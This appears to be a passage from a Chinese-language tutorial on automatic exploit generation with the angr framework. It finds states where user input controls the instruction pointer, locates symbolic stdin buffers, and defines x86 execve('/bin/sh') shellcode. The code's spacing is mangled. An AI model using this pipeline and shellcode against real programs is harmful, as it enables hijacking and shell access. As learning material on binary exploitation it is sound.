p = angr.Project(binary) extras = { so.REVERSE_MEMORY_NAME_MAP, # 保留符号变量到内存地址的映射 so.TRACK_ACTION_HISTORY # 保留路径上的state历史 } es = p.factory.entry_state(add_options=extras) # 从入口点开始的state sm = p.factory.simulation_manager(es, save_unconstrained=True) # 保存unconstrained state,即指令指针被用户数据或符号化数据控制
寻找PC寄存器全部符号化(可被输入控制)的状态。
1 2 3 4 5 6 7 8 9 10 11
exploitable_state = None while exploitable_state isNone: sm.step() # 执行一个基本块 iflen(sm.unconstrained) > 0: for u in sm.unconstrained: ifall([u.solver.symbolic(u.regs.pc[i]) for i inrange(u.arch.bits)]): # 该state中PC的每个bit均被符号化 exploitable_state = u break sm.drop(stash='unconstrained')
deffind_symbolic_buffer(state, length): sym_addrs = [ ] for _, symbol in state.solver.get_variables('file', state.posix.stdin.ident): # 从state.posix.stdin.ident('stdin')寻找以file开头的符号化变量名? sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables)))) # 符号化变量对应的内存地址
for addr in sym_addrs: ifall([ (addr + i) in sym_addrs for i inrange(length)]): # 确保连续空间 yield addr
shellcode = bytes.fromhex("6a68682f2f2f73682f62696e89e331c96a0b5899cd80") # from capstone import * # for i in Cs(CS_ARCH_X86, CS_MODE_64).disasm(shellcode, 0): # print('0x{}:\t{}\t{}'.format(i.address, i.mnemonic, i.op_str))